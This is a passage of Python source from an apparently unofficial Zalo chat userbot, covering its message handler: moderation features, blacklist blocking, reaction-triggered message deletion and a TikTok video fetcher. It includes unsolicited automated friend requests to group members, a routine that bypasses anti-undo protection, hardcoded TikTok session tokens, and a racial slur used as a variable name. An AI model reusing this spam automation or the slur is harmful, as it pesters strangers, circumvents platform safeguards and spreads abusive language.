			if message_object.at is not None and int(message_object.at) == 0 and "paramsExt" in message_object and "platformType" in message_object.paramsExt and message_object.paramsExt.platformType != None and int(message_object.paramsExt.platformType) == 0:
				type = "Zalo App"
			elif message_object.at is not None and int(message_object.at) == 5 and "paramsExt" in message_object and "platformType" in message_object.paramsExt and message_object.paramsExt.platformType != None and int(message_object.paramsExt.platformType) == 1:
				type = "Zalo Web"
			elif message_object.at is not None and int(message_object.at) == 5 and "paramsExt" in message_object and "platformType" in message_object.paramsExt and message_object.paramsExt.platformType != None and int(message_object.paramsExt.platformType) == 2:
				type = "Zalo Pc"
			elif "paramsExt" in message_object and "platformType" in message_object.paramsExt and message_object.paramsExt.platformType != None and int(message_object.paramsExt.platformType) == 3:
				type = "Zalo System"
			elif "paramsExt" in message_object and "platformType" in message_object.paramsExt and message_object.paramsExt.platformType != None and int(message_object.paramsExt.platformType) == 6:
				type = "Unknown"
			else:
				type = "Null"
			if isinstance(message, dict):
				sex = str(message.title).replace("\n", "")
			else:
				sex = str(message).replace("\n", "")
	
			print(f'[{datetime.datetime.now().strftime("%H:%M:%S")}] \x1b[48;2;0;200;255m[CHAT]\x1b[0m [{message_object.dName}] [{type}] [{author_id}] [{thread_id}]: {sex}')
		if thread_type == ThreadType.USER and message_object.msgType == "chat.ecard":
			self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type, onlyMe=1)
		if False and self.myName == "Vu Tuyet Nhi":# and 1 + 1 == 3:
			try:
				if message_object.msgType == "webchat":
					linkbox = extract_zalo_group_urls(message)
					if linkbox:
						for i in linkbox:
							if i not in self.boxjoin:
								susu = self.fetchLinkBox(i)
								if susu and susu.setting and susu.setting['lockSendMsg'] == 0:
									self.joinbox(i)
								self.boxjoin.append(i)
				elif message_object.msgType == "chat.recommended":
					linkbox = message_object.content.get("href")
					if linkbox not in self.boxjoin:
						susu = self.fetchLinkBox(linkbox)
						if susu and susu.setting and susu.setting['lockSendMsg'] == 0:
							self.joinbox(linkbox)
						self.boxjoin.append(linkbox)
				elif message_object.msgType == "chat.photo" or message_object.msgType == "chat.video":
					if message_object.msgType == "chat.photo":
						# print(message_object.content.get('href', ''))
						href = message_object.content.get('href', '').replace("jxl", "jpg")
						# print(href)
						ccks = scan_qr_code_from_url(href)
						# print(ccks)
						if ccks:
							# ccks = ccks.replace(" ", "")
							if ccks in ["zaloapp.com/qr/g/", "zalo.me/g/"]:
								if ccks not in self.boxjoin:
									susu = self.fetchLinkBox(ccks)
									if susu and susu.setting and susu.setting['lockSendMsg'] == 0:
										self.joinbox(ccks)
									self.boxjoin.append(ccks)
					title = message_object.content.get('title', '')
					if title:
						linkbox = extract_zalo_group_urls(title)
						# print(linkbox)
						if linkbox:
							for i in linkbox:
								if i not in self.boxjoin:
									susu = self.fetchLinkBox(i)
									if susu and susu.setting and susu.setting['lockSendMsg'] == 0:
										self.joinbox(i)
									self.boxjoin.append(i)
			except:
				pass
		
		if (self.selid == self.uid or self.myName == "Vu Tuyet Nhi") and thread_type == ThreadType.GROUP and thread_id not in {"9147627123051092474", "3662594625600893916", "1294629035176003892", "31067641041617325"} and author_id not in self.friends and author_id not in self.req_friends and author_id != self.uid:
			now = time.time()
			if now - self.last_request_time > 60.0:
				self.last_request_time = now
				msg = f"Xin chào, mình thấy bạn trong nhóm {(self.fetchGroupInfo(thread_id).gridInfoMap[thread_id]).name} và muốn kết bạn!"
				status = self.sendFriendRequest(userId=author_id, msg=msg, language="vi")
				# print(status)
				# print(msg)
				if int(status.error_code) == 0:
					self.req_friends.add(str(author_id))
        
			
		# print(message_object)
		# print(self.thread_handsome)
		# print(ThreadPoolExecutor(max_workers=10000))
		if author_id in self.convers_handlers:
			handler_info = self.convers_handlers[author_id]
			if handler_info["lastMsgId"] != int(mid):
				# print(handler_info["lastMsgId"], mid)
				del self.convers_handlers[author_id]
				return handler_info["handler"](message_object=message_object, author_id=author_id, message=message, thread_id=thread_id, thread_type=thread_type, *handler_info["args"], **handler_info["kwargs"])
		# self.joinbox("https://zalo.me/g/jhcoit194")
		# print(message_object.content)
		# if isinstance(message_object.content, dict):
			# print(message_object.content.params)
			# print(json.loads(message_object.content.params).get("action"))
			# print()



		# if message_object.msgType == "chat.undo" and author_id == self.uid:
			# self.undoMessage(msgId=message_object.msgId, cliMsgId=message_object.cliMsgId, thread_id=thread_id, thread_type=thread_type)
		# if thread_id == "1923515843574005433" and message_object.msgType == "chat.recommended":
			# linkbox = message_object.content.get("href")
			# print(linkbox)
			# if linkbox not in self.linkbox:
				# self.linkbox.append(linkbox)
				# print(self.linkbox)
				# with open("linkbox.txt", "w") as f:
					# f.write(str(self.linkbox))
				# self.replyMessage(Message(text=str(self.linkbox)), message_object, thread_id, thread_type)
			
			# print(message_object)
			# print(message_object.msgType)
			# try:
				# self.parseMessageObj(message_object, thread_id, thread_type)
			# except Exception:
				# traceback.print_exc()
		# if thread_type == ThreadType.USER and self.uid != self.selid:
			# self.blockUser(thread_id)
			# pin, password = self.randomPin()
			# print(self.setPassWord(pin))
			# print(self.hiddenConvers(thread_id, thread_type))
			# print(self.muteChat(thread_id=thread_id, thread_type=thread_type))
			
		if thread_type == ThreadType.USER and self.uid == self.selid:
			self.thread_handsome.submit(self.antiSpamUser, mid=mid, author_id=author_id, message=message, message_object=message_object, thread_id=thread_id, thread_type=thread_type)
		if author_id == self.uid and message_object.msgType == "chat.webcontent" and self.lmaoFunction == True:
			self.lmaoFunction = False
			time.sleep(0.1)
			self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
			self.undoMessage(msgId=message_object.msgId, cliMsgId=message_object.cliMsgId, thread_id=thread_id, thread_type=thread_type)
			# self.undoMessage(msgId=message_object.msgId, cliMsgId=message_object.cliMsgId, thread_id=thread_id, thread_type=thread_type)

		if message_object.mentions:
			for i in message_object.mentions:
				try:
					pos = i.get("pos")
					lend = i.get("len")
					if pos == 0:
						if isinstance(message, dict):
							message.title = message.title[lend:].strip()

						else:
							message = message[lend:].strip()
							# message = message.replace("  ", " ")
					else:
						if isinstance(message, dict):
							message.title = message.title[:pos].strip() + message.title[len:].strip()
							# message.title = message.title.replace("  ", " ").strip()
						else:
							message = message[:pos] + message[lend:].strip()
							# message = message.replace("  ", " ").strip()
				except Exception:
					pass
					# print(message_object)
					# print(message)
					# traceback.print_exc()

			# Message(actionId='10647477340238', msgId='6752426662651', cliMsgId='1751127173933', msgType='webchat', uidFrom='0', idTo='4986496986921605616', dName='Tahn', ts='1751127174331', status=1, content='@Tahn Dz e', notify='1', ttl=0, userId='0', uin='0', topOut='0', topOutTimeOut='0', topOutImprTimeOut='0', mentions=[{'uid': '4259526313943550175', 'pos': 0, 'len': 8, 'type': 0}], quote={'ownerId': 4259526313943550175, 'cliMsgId': 1751126739313, 'globalMsgId': 6752412610703, 'cliMsgType': 1, 'ts': 1751126739348, 'msg': '• AURA', 'attach': '', 'fromD': 'Tahn Dz', 'ttl': 21600000}, propertyExt={'color': -1, 'size': -1, 'type': -1, 'subType': 0, 'ext': '{"sSrcType":-1,"sSrcStr":"","msg_warning_type":0,"emoji":{"content":0,"num":0,"uniq":0,"first":"","last":"","most":"","text":1}}'}, paramsExt={'countUnread': 1, 'containType': 0, 'platformType': 0}, cmd=521, st=3, at=0, realMsgId='0')
			# @Tahn Dz e
			# print(message)
		if thread_type == ThreadType.GROUP:
			try:
				self.db.init_group_features(thread_id)
			except Exception:
				pass
		# if thread_id == "8613663314716470145":
			# if message_object.msgType == "chat.reaction":
				# if message_object['content']['rType'] not in self.rTypeAllow:
					# self.rTypeAllow.append(message_object['content']['rType'])
					# self.replyMessage(Message(text=str(self.rTypeAllow)), message_object, thread_id, thread_type)

			# print(message_object)
		# if thread_type == ThreadType.GROUP and thread_id == "8613663314716470145" and message_object.msgType == "webchat" and author_id == "3701865865062529367":
			# lon = self.replyMessage(Message(text="abc"), message_object, thread_id, thread_type, cliMsg=message_object.cliMsgId).msgId
			# self.deleteMsg(msgId=lon, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
			# print(self.undoMessage(msgId=message_object.msgId, cliMsgId=message_object.cliMsgId, thread_id=thread_id, thread_type=thread_type))
		if thread_type == ThreadType.GROUP and thread_id == "8613663314716470145" and message_object.msgType == "chat.undo" and int(message_object.content["globalMsgId"]) not in self.dataGetOldMessage:
			# print()
			moetgoaidi = int(message_object.content["globalMsgId"])
			self.request_old_messages(thread_type=thread_type, last_msg_id=moetgoaidi - 1, first=True)
			self.dataGetOldMessage[moetgoaidi] = True
		if thread_type == ThreadType.GROUP and author_id != self.uid:
			for c, h in self.db.fetch_features(thread_id):
				# print(c, h)
				if c == 'anti_ads' and h:
					self.thread_handsome.submit(self.antiAds, mid, author_id, message, message_object, thread_id, thread_type)
				elif c == 'anti_bot' and h:
					self.anti_bot(mid, author_id, message, message_object, thread_id, thread_type)
				elif c == 'anti_botv2' and h:
					self.antiBotv2(mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "anti_spam" and h:
					self.thread_handsome.submit(self.antiSpam, mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "anti_link" and h:
					self.thread_handsome.submit(self.antiLink, mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "anti_forward" and h:
					self.antiForward(mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "auto_approve" and h:
					self.auto_approve.append(thread_id)
				elif c == "simsimi" and h:
					self.thread_handsome.submit(self.simsimiChat, mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "bypass_undo" and h:
					self.bypassAntiUndo(mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "anti_bigfont" and h:
					self.anti_bigfont(mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "anti_undo" and h:
					self.anti_undo(mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "anti_stkani" and h:
					self.anti_stkAnimation(mid, author_id, message, message_object, thread_id, thread_type)
				elif c == "welcome":
					if h:
						if thread_id not in self.all_group:
							self.all_group.append(thread_id)
					else:
						if thread_id in self.all_group:
							self.all_group.remove(thread_id)

				# else:
					# print(f"k xác định {c}, {h}")

		if isinstance(message_object.content, dict) and 'action' in message_object.content and message_object.content.action == "msginfo.actionlist" and 'params' in message_object.content and "actions" in message_object.content.params and json.loads(message_object.content.params).get("actions")[0]['actionType'] == "action.open.request.joingroup":
			params = json.loads(message_object.content.params)
			members = []
			try:
				if params.get("totalUpdateMem") != 1:
					for i in params.get("highLights"):
						members.append(i.get("uid"))
				else:
					members = params.get("highLights")[0]["uid"]
				# l":""}],"totalUpdateMem":1,"highLights":[{"uid":3701865865062529367,"len":5,
				blackList = self.db.fetch_blacklist(thread_id)
				if str(self.selid) == str(members) or (hasattr(members, '__contains__') and str(self.selid) in members):
					self.handleGroupPending(members=members, groupId=thread_id, isApprove=True)
				elif (hasattr(members, "__contains__") and blackList in members) or members == blackList:
					common = []
					if isinstance(members, (list, tuple, set)):
						for x in blackList:
							if x in members:
								common.append(x)
					
					elif isinstance(members, str):
						for x in blackList:
							if str(x) in members:
								common.append(x)
					
					else:
						for x in blackList:
							if x == members:
								common.append(x)
					if common:
						self.handleGroupPending(members=common, groupId=thread_id, isApprove=True)
						mentions = []
						msg = "• BlackList Detec User"
						for i in common:
							mentionOffset = len(msg) + 1
							mentions.append(Mention(uid=i, length=7, offset=mentionOffset))
							msg += " @sucvat"
						mention = MultiMention(mentions)
						self.send(Message(text=msg, style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)]), mention=mention), thread_id=thread_id, thread_type=thread_type, ttl=6000000)
						self.blockUsersInGroup(members=common, groupId=thread_id)
				elif thread_id in self.auto_approve:
					self.handleGroupPending(members=members, groupId=thread_id, isApprove=True)
			except Exception as e:
				traceback.print_exc()


		if thread_id == "4147414791367123590" and author_id != self.uid:
			self.thread_handsome.submit(self.antiSpam, mid, author_id, message, message_object, thread_id, thread_type)

		if message_object.msgType not in ["chat.delete", "chat.reaction"] and any(uid == author_id for uid, _ in self.mute):
			# print(self.mute)
			for idx, (uid, cac) in enumerate(self.mute):
				if uid == author_id:
					user_msg_id = cac
					self.mute[idx] = (uid, user_msg_id)
					cc = self.deleteMsg(msgId=user_msg_id, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
					if cc.error_code == 112:
						self.deleteGroupMsgBypassAntiUndo(msgId=user_msg_id, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)

		# print(message)
		# print(message_object)
		# self.markAsDelivered(msgId=mid, cliMsgId=message_object.cliMsgId, senderId=message_object.actionId, thread_id=thread_id, thread_type=thread_type)
		# self.markAsRead(msgId=mid, cliMsgId=message_object.cliMsgId, senderId=message_object.actionId, thread_id=thread_id, thread_type=thread_type)
		# print(message_object.cmd)
		# if message_object.msgType == "chat.undo":
			# print(message_object)
		

		if thread_id in self.muteall and author_id != self.uid and author_id not in self.selfid:
			self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)

		if message_object.msgType == "chat.reaction":
			if message_object['content']['rIcon'] == "💧":
				adminData = self.db.fetch_admins(thread_id)
				if author_id not in self.selfid and author_id not in adminData:
					return
				data = self.getRecentGroup(groupId=thread_id, msgId=int(message_object['content']['rMsg'][0]['gMsgID'])+1)
				data["groupMsgs"].sort(key=lambda msg: int(msg["ts"]), reverse=True)
				# print(data)
				target_msg_id = str(message_object['content']['rMsg'][0]['gMsgID'])
				messages = data["groupMsgs"]
				result = []
				filtered_msg = next((msg for msg in data["groupMsgs"] if int(msg["msgId"]) == int(message_object['content']['rMsg'][0]['gMsgID'])), None)
				# print(type(filtered_msg))
				# print(filtered_msg)
				# print(message_object['content']['rMsg'][0]['gMsgID'])
				# print(data["groupMsgs"][0]["msgId"])
				if filtered_msg != None:
					filtered_msg = int(filtered_msg.uidFrom)
					# if isinstance(filtered_msg, str):
						# print("filtered_msg là str")
					# print(type(filtered_msg))
					# print(type(self.uid))
					cc1 = message_object['content']['rMsg'][0]['gMsgID']
					if filtered_msg != 0:
						lon = self.deleteMsg(msgId=message_object['content']['rMsg'][0]['gMsgID'], clientMsgId=message_object['content']['rMsg'][0]['cMsgID'], ownerId=filtered_msg, thread_id=thread_id, thread_type=thread_type)
						if lon.error_code == 112:
							cacbamay = self.deleteGroupMsgBypassAntiUndo(msgId=message_object['content']['rMsg'][0]['gMsgID'], clientMsgId=message_object['content']['rMsg'][0]['cMsgID'], ownerId=filtered_msg, groupId=thread_id)
							if cacbamay.error_code == 112:
								cc1 = self.replyMessage(Message(text="cc"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=10).msgId
								dimenay = self.deleteMsg(msgId=cc1, clientMsgId=message_object['content']['rMsg'][0]['cMsgID'], ownerId=filtered_msg, thread_id=thread_id, thread_type=thread_type).error_code
								if dimenay == 112:
									self.deleteGroupMsgBypassAntiUndo(msgId=message_object['content']['rMsg'][0]['gMsgID'], clientMsgId=message_object['content']['rMsg'][0]['cMsgID'], ownerId=filtered_msg, groupId=thread_id)

					else:
						filtered_msg = self.uid
						self.undoMessage(msgId=message_object['content']['rMsg'][0]['gMsgID'], cliMsgId=message_object['content']['rMsg'][0]['cMsgID'], thread_id=thread_id, thread_type=thread_type)
				for i, msg in enumerate(messages):
					# print(type(msg["msgId"]))
					if msg['msgId'] == target_msg_id:
						author_idd = msg['uidFrom']

						for j in range(i + 1, len(messages)):
							if messages[j]['uidFrom'] == author_idd:
								result.append((messages[j]['msgId'], messages[j]['cliMsgId']))
								# print(messages[j])
							# elif str(messages[j]['uidFrom']) == "0":
								# result.append((messages[j]['msgId'], messages[j]['cliMsgId']))
								# print(messages[j])
							else:
								break 
						break


				if result != []:
					for i in result:
						# print(i[0])
						if filtered_msg == self.uid:
							self.undoMessage(msgId=i[0], cliMsgId=i[1], thread_id=thread_id, thread_type=thread_type)
						else:
							ditmenay = self.deleteMsg(msgId=i[0], clientMsgId=i[1], ownerId=filtered_msg, thread_id=thread_id, thread_type=thread_type)
							if ditmenay.error_code == 112:
								memaybeo = self.deleteGroupMsgBypassAntiUndo(msgId=i[0], clientMsgId=i[1], ownerId=filtered_msg, groupId=thread_id)
								if memaybeo.error_code == 112:
									self.deleteMsg(msgId=cc1, clientMsgId=i[1], ownerId=filtered_msg, thread_id=thread_id, thread_type=thread_type)
								


			# elif message_object['content']['rIcon'] == "/-heart":
				# if author_id not in self.selfid:
					# return
				# data = self.getRecentGroup(groupId=thread_id)
				# msg_ids = [(msg['uidFrom'], msg['cliMsgId']) for msg in data['groupMsgs']]

				# cc1 = self.replyMessage(Message(text="cc"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=10).msgId
				# for a, i in msg_ids:
					# self.deleteMsg(msgId=cc1, clientMsgId=i, ownerId=a, thread_id=thread_id, thread_type=thread_type)


			elif message_object['content']['rMsg'][0]['gMsgID'] in self.stupid_nigga:
				if message_object['content']['rIcon'] == "/-strong":
					self.undoMessage(msgId=message_object['content']['rMsg'][0]['gMsgID'], cliMsgId=message_object['content']['rMsg'][0]['cMsgID'], thread_id=thread_id, thread_type=thread_type)
					self.stupid_nigga.remove(message_object['content']['rMsg'][0]['gMsgID'])
					def fetch_tiktok_videos(url):
						response = requests.get(url)
						data = response.json()
						return data.get('itemList', [])

					def main():
						url = "https://www.tiktok.com/api/preload/item_list/?WebIdLastTime=1742610145&aid=1988&app_language=vi-VN&app_name=tiktok_web&browser_language=vi&browser_name=Mozilla&browser_online=true&browser_platform=Linux%20armv81&browser_version=5.0%20%28X11%3B%20Linux%20x86_64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F132.0.0.0%20Safari%2F537.36&channel=tiktok_web&clientABVersions=70508271%2C73406215%2C73658737%2C73720540%2C73737112%2C73755373%2C73759868%2C73787022%2C73810365%2C73810951%2C73811265%2C73812969%2C73814769%2C73815488%2C73815490%2C73841160%2C73849115%2C73858886%2C73858984%2C73867894%2C70405643%2C71057832%2C71200802%2C73004916%2C73171280%2C73208420%2C73574728%2C73628214&cookie_enabled=true&count=3&coverFormat=2&cpu_core_number=8&dark_mode=false&data_collection_enabled=true&day_of_week=0&device_id=7484453551143339528&device_platform=web_pc&focus_state=true&from_page=fyp&history_len=3&isNonPersonalized=false&is_fullscreen=false&is_page_visible=true&language=vi-VN&odinId=7484453369743442951&os=linux&priority_region=&referer=&region=VN&screen_height=918&screen_width=424&time_of_day=20&tz_name=Asia%2FSaigon&user_is_login=false&vv_count=14&vv_count_fyp=14&webcast_language=vi-VN&msToken=mxTQIV8xqILqYeP4gAecbVYzz2TKG-truGD-KxfvsQTrZ6C2_BGWbwIb6VOFgZszCV5ter06iPvw7TOHZkeh88vH_bzJcwdUeCmN8OF-S1QL1vuUw7YW0goS9YQFwOpPKZ45_PbRKjrNnG81yYxppkA=&X-Bogus=DFSzswVOFGvANCp7CGyE6PYRRlEB&X-Gnarly=MR59txYKAP9uvw6Qm-D3Su79i8Hj3MVZ7LicvvFkiz5PwwQlOwrCgzW03VyoDPoqoF2UhxlAyn2kPnYfV1WYLICOI/-4wiktvuFXcj1jxbk0UUDMvDjd1zEo4uu4tDpX8K81q1o/pzGy90dZoIU98VWz4DOvdOXUjYm/bWtD8Q9kPRBNAe-WEcxF8TpNR2hz58cg/rhm94eUphRgnT3LtWf4/3rRgfEc9Ckk7amPrddK5JAVt-Mzf80BOUrJCM0NSMPNV81jvehE"
						videos = fetch_tiktok_videos(url)
						selected_video = videos[0]
						return selected_video

					selected_video = main()   
					videoUrl = f"https://tikwm.com/video/media/play/{selected_video.get('video', {}).get('id')}.mp4"
					uu = videoUrl
					duration = int(selected_video.get("video", {}).get("duration")) * 1000
					msg = f"{selected_video.get('author', {}).get('nickname')}\n\n{selected_video.get('desc')}\n{selected_video.get('id')}\n\nReaction /-heart to next video\n/-strong to next and undo this video"
					suc = self.sendRemoteVideo(videoUrl=uu, message=Message(text=str(msg)), height=selected_video.get("video", {}).get("height"), width=selected_video.get("video", {}).get("width"), duration=duration, thumbnailUrl=selected_video.get("video", {}).get("cover"), thread_id=thread_id, thread_type=thread_type, ttl=3600000)
					self.stupid_nigga.append(suc.msgId)
				elif message_object['content']['rIcon'] == "/-heart":
					self.stupid_nigga.remove(message_object['content']['rMsg'][0]['gMsgID'])
					def fetch_tiktok_videos(url):
						response = requests.get(url)
						data = response.json()
						return data.get('itemList', [])

					def main():
						url = "https://www.tiktok.com/api/preload/item_list/?WebIdLastTime=1742610145&aid=1988&app_language=vi-VN&app_name=tiktok_web&browser_language=vi&browser_name=Mozilla&browser_online=true&browser_platform=Linux%20armv81&browser_version=5.0%20%28X11%3B%20Linux%20x86_64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F132.0.0.0%20Safari%2F537.36&channel=tiktok_web&clientABVersions=70508271%2C73406215%2C73658737%2C73720540%2C73737112%2C73755373%2C73759868%2C73787022%2C73810365%2C73810951%2C73811265%2C73812969%2C73814769%2C73815488%2C73815490%2C73841160%2C73849115%2C73858886%2C73858984%2C73867894%2C70405643%2C71057832%2C71200802%2C73004916%2C73171280%2C73208420%2C73574728%2C73628214&cookie_enabled=true&count=3&coverFormat=2&cpu_core_number=8&dark_mode=false&data_collection_enabled=true&day_of_week=0&device_id=7484453551143339528&device_platform=web_pc&focus_state=true&from_page=fyp&history_len=3&isNonPersonalized=false&is_fullscreen=false&is_page_visible=true&language=vi-VN&odinId=7484453369743442951&os=linux&priority_region=&referer=&region=VN&screen_height=918&screen_width=424&time_of_day=20&tz_name=Asia%2FSaigon&user_is_login=false&vv_count=14&vv_count_fyp=14&webcast_language=vi-VN&msToken=mxTQIV8xqILqYeP4gAecbVYzz2TKG-truGD-KxfvsQTrZ6C2_BGWbwIb6VOFgZszCV5ter06iPvw7TOHZkeh88vH_bzJcwdUeCmN8OF-S1QL1vuUw7YW0goS9YQFwOpPKZ45_PbRKjrNnG81yYxppkA=&X-Bogus=DFSzswVOFGvANCp7CGyE6PYRRlEB&X-Gnarly=MR59txYKAP9uvw6Qm-D3Su79i8Hj3MVZ7LicvvFkiz5PwwQlOwrCgzW03VyoDPoqoF2UhxlAyn2kPnYfV1WYLICOI/-4wiktvuFXcj1jxbk0UUDMvDjd1zEo4uu4tDpX8K81q1o/pzGy90dZoIU98VWz4DOvdOXUjYm/bWtD8Q9kPRBNAe-WEcxF8TpNR2hz58cg/rhm94eUphRgnT3LtWf4/3rRgfEc9Ckk7amPrddK5JAVt-Mzf80BOUrJCM0NSMPNV81jvehE"
						videos = fetch_tiktok_videos(url)
						selected_video = videos[0]
						return selected_video

					selected_video = main()   
					videoUrl = f"https://tikwm.com/video/media/play/{selected_video.get('video', {}).get('id')}.mp4"
					uu = videoUrl
					duration = int(selected_video.get("video", {}).get("duration")) * 1000
					msg = f"{selected_video.get('author', {}).get('nickname')}\n\n{selected_video.get('desc')}\n{selected_video.get('id')}\n\nReaction /-heart to next video\n/-strong to next and undo this video"
					suc = self.sendRemoteVideo(videoUrl=uu, message=Message(text=str(msg)), height=selected_video.get("video", {}).get("height"), width=selected_video.get("video", {}).get("width"), duration=duration, thumbnailUrl=selected_video.get("video", {}).get("cover"), thread_id=thread_id, thread_type=thread_type, ttl=3600000)
					self.stupid_nigga.append(suc.msgId)

			#print(message_object)

		"""
        Trash
        if thread_id == VsTeam and author_id != self.uid:
          self.thread_handsome.submit(self.antiSpam, mid, author_id, message, message_object, thread_id, thread_type)
          self.thread_handsome.submit(self.antiLink, mid, author_id, message, message_object, thread_id, thread_type)
          self.thread_handsome.submit(self.antiAds, mid, author_id, message, message_object, thread_id, thread_type)
          
          self.anti_bot(mid, author_id, message, message_object, thread_id, thread_type)
          
          if ((author_id in self.ndisdiid.adminIds) or (author_id in self.ndisdiid.creatorId)) or (author_id in self.selfid):
            self.thread_handsome.submit(self.onHandle, mid, author_id, message, message_object, thread_id, thread_type)
            return
          else:
            return
        """
		if thread_type == ThreadType.GROUP and self.db.fetch_mode(thread_id) == "only_admin" and author_id in self.selfid:
			self.thread_handsome.submit(self.onHandle, mid, author_id, message, message_object, thread_id, thread_type)
		elif thread_type == ThreadType.GROUP and self.db.fetch_mode(thread_id) == "all":
			self.thread_handsome.submit(self.onHandle, mid, author_id, message, message_object, thread_id, thread_type)
		elif thread_type == ThreadType.GROUP and self.db.fetch_mode(thread_id) == "only_key":
			ditmemay = self.fetchAdmin(thread_id)
			if ((author_id in ditmemay.adminIds) or (author_id in ditmemay.creatorId)) or (author_id in self.selfid):
				self.thread_handsome.submit(self.onHandle, mid, author_id, message, message_object, thread_id, thread_type)
		elif thread_type == ThreadType.USER and ((self.uid != self.selid) or (author_id == self.uid)):
			self.thread_handsome.submit(self.onHandle, mid, author_id, message, message_object, thread_id, thread_type)

		# print(mid)
		# if message_object.msgType == "chat.undo" and int(author_id) == int(self.uid):
			# if self.undoData == []:
				# self.undoData = [{
					# 'cliMsgId': int(time.time() * 1000), 
					# 'cliMsgIdUndo': message_object.cliMsgId, 
					# 'globalMsgId': message_object.msgId
				# }]
			# else:
				# self.undoData.append({
					# 'cliMsgId': int(time.time() * 1000), 
					# 'cliMsgIdUndo': message_object.cliMsgId, 
					# 'globalMsgId': message_object.msgId
				# })
			# self.multiUndoMessage(undoObj=self.undoData[-50:], thread_id=thread_id, thread_type=thread_type)
		# self.undoMessage(msgId=, cliMsgId=, thread_id=thread_id, thread_type=thread_type)
		# print(message_object)
		if thread_id == "3446346906815329213" and author_id != self.uid and author_id != "5829795931544369289":
			self.anti_bot(mid, author_id, message, message_object, thread_id, thread_type)

		# print(message_object.msgType)

		# if thread_type == ThreadType.GROUP:

		global gay, history, filtered_messages
		# if message_object.msgType == "chat.reaction":
			# return   
		# #Message(actionId='9256351972771', msgId='6113885303230', cliMsgId='1733749861071', msgType='webchat', uidFrom='7711754660468580715', idTo='6650146792085854500', dName='Tahn', ts='1733749861129', status=1, content='Spam cc', notify='1', ttl=0, userId='0', uin='0', topOut='0', topOutTimeOut='0', topOutImprTimeOut='0', propertyExt={'color': -1, 'size': -1, 'type': -1, 'subType': 0, 'ext': '{"sSrcType":-1,"sSrcStr":"","msg_warning_type":0,"emoji":{"content":0,"num":0,"uniq":0,"first":"","last":"","most":"","text":1}}'}, paramsExt={'countUnread': 1, 'containType': 0, 'platformType': 0}, cmd=521, st=3, at=0, realMsgId='0')
		# if thread_id == "6650146792085854500" and message_object.quote and author_id != self.uid:
			# #quote={'ownerId': 7711754660468580715, 'cliMsgId': 1733708467641, 'globalMsgId': 6111491685398, 'cliMsgType': 1, 'ts': 1733708467701, 'msg': '..?',
			# if message_object.quote['cliMsgId'] + 1000 > int(message_object.cliMsgId) and message_object.quote['globalMsgId'] != 0:
				# suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				# self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
				# style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				# if suc.get('error_code') == 0:
					# self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot", style=style_error), thread_id, thread_type=thread_type)
			# if int(time.time() * 1000) > int(message_object.cliMsgId):
				# pass
			# else:
				# suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				# self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
				# style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				# if suc.get('error_code') == 0:
					# self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot", style=style_error), thread_id, thread_type=thread_type)
		# # elif thread_id == "6650146792085854500" and author_id != self.uid and int(message_object.at) == 5:
			# # suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
			# # self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
			# # style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			# # if suc.get('error_code') == 0:
				# # self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot", style=style_error), thread_id, thread_type=thread_type)

		# elif thread_id == "6650146792085854500" and author_id != self.uid and int(message_object.ttl) > 0:
			# suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
			# self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
			# style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			# if suc.get('error_code') == 0:
				# self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot", style=style_error), thread_id, thread_type=thread_type)
		# if thread_id in self.antibotv2 and author_id != self.uid:
